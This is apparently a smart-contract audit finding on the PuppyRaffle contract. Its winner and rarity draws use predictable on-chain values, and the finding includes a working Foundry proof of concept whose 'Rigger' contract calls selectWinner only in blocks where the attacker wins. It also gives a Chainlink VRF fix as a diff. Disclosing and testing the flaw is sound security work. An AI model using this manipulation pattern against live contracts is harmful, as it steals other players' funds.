Root + Impact
Description
-
After the raffle duration has passed, selectWinner should pick a uniformly random winner among the entrants, pay that winner 80% of the collected entrance fees, and mint a puppy NFT of random rarity. The README (point 4) and the contract NatSpec (L16) both promise a random draw.
-
The winner index at L128-L129 is keccak256(msg.sender, block.timestamp, block.difficulty) % players.length, and the rarity at L139 is keccak256(msg.sender, block.difficulty) % 100. The caller chooses msg.sender, and the other inputs are fixed for the block and readable inside the calling transaction (under solc 0.7.6, block.difficulty compiles to opcode 0x44, which returns PREVRANDAO after the Merge). Because selectWinner is external, has no caller restriction, and stays callable in any block after the deadline, a player's contract can compute the result and call selectWinner only in a block where its own ticket wins.
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
Risk
Likelihood:
-
Any entrant can do this in every round. selectWinner has no caller restriction and stays callable in every block after raffleStartTime + raffleDuration. The attacker needs only one ticket and a small contract that recomputes L129 for its own address.
-
Each new block has a new block.timestamp, so each block is a new draw, and the attacker skips draws that would not pay it at a cost of gas only. In the PoC, a player holding 1 of 10 tickets won 5 of 5 rounds after 53 one-second draw attempts in total.
-
The attack needs no privileged role, oracle, or validator cooperation. Because msg.sender is one of the inputs, the attacker can also deploy its calling contract at an address that wins in the first eligible block, which removes any race with honest callers (the PoC does not test this).
Impact:
-
Direct theft of funds: in the PoC the attacker holds one 1 ETH ticket out of 10. In each of 5 rounds it receives 8 ETH (80% of the 10 ETH pool) plus the puppy NFT, so it nets 7 ETH per round, all paid by the other nine tickets.
-
Honest players have no real chance of winning any round the attacker settles. Their entrance fees fund the attacker's prize, which breaks the raffle's core promise of a random draw (README point 4, NatSpec L16).
-
The rarity draw at L139 does not use block.timestamp; it depends only on the caller address and block.difficulty. The PoC shows the stored rarity equals the tier predicted from the caller's address, so whoever calls selectWinner decides which puppy tier is minted.
Proof of Concept
test/PoC_PR-02.t.sol deploys PuppyRaffle with a 1 ETH entrance fee and enters 10 players, one of which is the attacker. A small Rigger contract recomputes the selectWinner hash for its own address and calls selectWinner only when the result is the attacker's ticket. test_PR02_OutcomeIsComputableBeforeTheCall asserts that the precomputed winner equals previousWinner. test_PR02_OneTicketHolderWinsEveryRaffleItSettles asserts that the attacker wins 5 of 5 rounds and receives 8 ETH and the NFT each time. test_PR02_RarityIsFixedByTheCallerAddress asserts that the rarity draw does not change over time and that the stored rarity equals the tier predicted from the caller address. Run it with forge test --match-path test/PoC_PR-02.t.sol -vv.
File test/PoC_PR-02.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-02.t.sol -vv.
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract Rigger {
PuppyRaffle internal immutable raffle;
address internal immutable beneficiary;
constructor(PuppyRaffle _raffle, address _beneficiary) {
raffle = _raffle;
beneficiary = _beneficiary;
}
function predictedWinnerIndex(uint256 nPlayers) public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % nPlayers;
}
function predictedRarityDraw() public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(address(this), block.difficulty))) % 100;
}
function drawIfWinning(uint256 nPlayers) external returns (bool drew) {
if (raffle.players(predictedWinnerIndex(nPlayers)) != beneficiary) return false;
raffle.selectWinner();
return true;
}
receive() external payable {}
}
contract PoC_PR02 is Test {
PuppyRaffle internal raffle;
uint256 internal constant ENTRANCE_FEE = 1e18;
uint256 internal constant DURATION = 1 days;
uint256 internal constant N_PLAYERS = 10;
address internal feeAddress = address(0xFEE);
address internal attacker = address(0xA77AC);
function setUp() public {
raffle = new PuppyRaffle(ENTRANCE_FEE, feeAddress, DURATION);
}
function _enterTen() internal {
address[] memory ps = new address[](N_PLAYERS);
ps[0] = attacker;
for (uint256 k = 1; k < N_PLAYERS; k++) {
ps[k] = address(uint160(0x20000 + k));
}
vm.deal(address(this), N_PLAYERS * ENTRANCE_FEE);
raffle.enterRaffle{value: N_PLAYERS * ENTRANCE_FEE}(ps);
}
function test_PR02_OutcomeIsComputableBeforeTheCall() public {
_enterTen();
vm.warp(block.timestamp + DURATION + 1);
Rigger r = new Rigger(raffle, attacker);
uint256 predicted = r.predictedWinnerIndex(N_PLAYERS);
address predictedWinner = raffle.players(predicted);
vm.prank(address(r));
raffle.selectWinner();
assertEq(raffle.previousWinner(), predictedWinner, "winner equals the pre-computed prediction");
}
function test_PR02_OneTicketHolderWinsEveryRaffleItSettles() public {
Rigger r = new Rigger(raffle, attacker);
uint256 rounds = 5;
uint256 attempts;
for (uint256 round = 0; round < rounds; round++) {
_enterTen();
vm.warp(block.timestamp + DURATION + 1);
uint256 attackerBefore = attacker.balance;
bool drew;
while (!drew) {
attempts++;
drew = r.drawIfWinning(N_PLAYERS);
if (!drew) vm.warp(block.timestamp + 1);
require(attempts < 10_000, "no winning second found");
}
assertEq(raffle.previousWinner(), attacker, "attacker won this round");
assertEq(attacker.balance - attackerBefore, (N_PLAYERS * ENTRANCE_FEE * 80) / 100, "attacker took the prize pool");
assertEq(raffle.ownerOf(round), attacker, "and the puppy NFT");
}
console.log("rounds won by the 1-in-10 ticket holder:", rounds);
console.log("draw attempts needed (1 per second of delay):", attempts);
}
function test_PR02_RarityIsFixedByTheCallerAddress() public {
Rigger r = new Rigger(raffle, attacker);
uint256 drawAtT0 = r.predictedRarityDraw();
vm.warp(block.timestamp + 12345);
assertEq(r.predictedRarityDraw(), drawAtT0, "rarity draw does not change with time");
_enterTen();
vm.warp(block.timestamp + DURATION + 1);
vm.prank(address(r));
raffle.selectWinner();
uint256 expectedTier = drawAtT0 <= 70 ? 70 : (drawAtT0 <= 95 ? 25 : 5);
assertEq(raffle.tokenIdToRarity(0), expectedTier, "stored rarity equals the caller-determined draw");
}
}
Recommended Mitigation
@@ -6,6 +6,13 @@
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Base64} from "lib/base64/base64.sol";
+/// Chainlink VRF v2 coordinator (only the function used here)
+interface IVRFCoordinatorV2 {
+ function requestRandomWords(bytes32 keyHash, uint64 subId, uint16 minConfirmations, uint32 callbackGasLimit, uint32 numWords)
+ external
+ returns (uint256 requestId);
+}
+
/// @title PuppyRaffle
/// @author PuppyLoveDAO
/// @notice This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:
@@ -25,6 +32,15 @@
uint256 public raffleStartTime;
address public previousWinner;
+ // Verifiable randomness: the seed is unknown to whoever starts or settles the draw
+ IVRFCoordinatorV2 public immutable vrfCoordinator;
+ bytes32 public immutable vrfKeyHash;
+ uint64 public immutable vrfSubId;
+ uint256 public pendingRequestId;
+ uint256 private randomSeed;
+ bool public drawPending;
+ bool public seedReady;
+
// We do some storage packing to save gas
address public feeAddress;
uint64 public totalFees = 0;
@@ -57,11 +73,21 @@
/// @param _entranceFee the cost in wei to enter the raffle
/// @param _feeAddress the address to send the fees to
/// @param _raffleDuration the duration in seconds of the raffle
- constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
+ constructor(
+ uint256 _entranceFee,
+ address _feeAddress,
+ uint256 _raffleDuration,
+ IVRFCoordinatorV2 _vrfCoordinator,
+ bytes32 _vrfKeyHash,
+ uint64 _vrfSubId
+ ) ERC721("Puppy Raffle", "PR") {
entranceFee = _entranceFee;
feeAddress = _feeAddress;
raffleDuration = _raffleDuration;
raffleStartTime = block.timestamp;
+ vrfCoordinator = _vrfCoordinator;
+ vrfKeyHash = _vrfKeyHash;
+ vrfSubId = _vrfSubId;
rarityToUri[COMMON_RARITY] = commonImageUri;
rarityToUri[RARE_RARITY] = rareImageUri;
@@ -77,6 +103,7 @@
/// @notice duplicate entrants are not allowed
/// @param newPlayers the list of players to enter the raffle
function enterRaffle(address[] memory newPlayers) public payable {
+ require(!drawPending, "PuppyRaffle: Draw in progress");
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]);
@@ -94,6 +121,7 @@
/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
function refund(uint256 playerIndex) public {
+ require(!drawPending, "PuppyRaffle: Draw in progress");
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@@ -122,11 +150,29 @@
/// @dev we use a hash of on-chain data to generate the random numbers
/// @dev we reset the active players array after the winner is selected
/// @dev we send 80% of the funds to the winner, the other 20% goes to the feeAddress
- function selectWinner() external {
+ /// @notice step 1: after the deadline, lock entries and refunds and request randomness
+ function requestDraw() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ require(!drawPending, "PuppyRaffle: Draw already requested");
+ drawPending = true;
+ pendingRequestId = vrfCoordinator.requestRandomWords(vrfKeyHash, vrfSubId, 3, 100000, 1);
+ }
+
+ /// @notice step 2: the coordinator delivers the seed; the callback only stores it, so the winner cannot make it revert
+ function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external {
+ require(msg.sender == address(vrfCoordinator), "PuppyRaffle: Only VRF coordinator");
+ require(drawPending && !seedReady && requestId == pendingRequestId, "PuppyRaffle: Unexpected request");
+ randomSeed = randomWords[0];
+ seedReady = true;
+ }
+
+ /// @notice step 3: anyone settles; the result no longer depends on who calls or when
+ function selectWinner() external {
+ require(seedReady, "PuppyRaffle: Randomness not delivered");
+ seedReady = false;
+ drawPending = false;
+ uint256 winnerIndex = randomSeed % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
@@ -136,7 +182,7 @@
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ uint256 rarity = uint256(keccak256(abi.encodePacked(randomSeed, uint256(1)))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {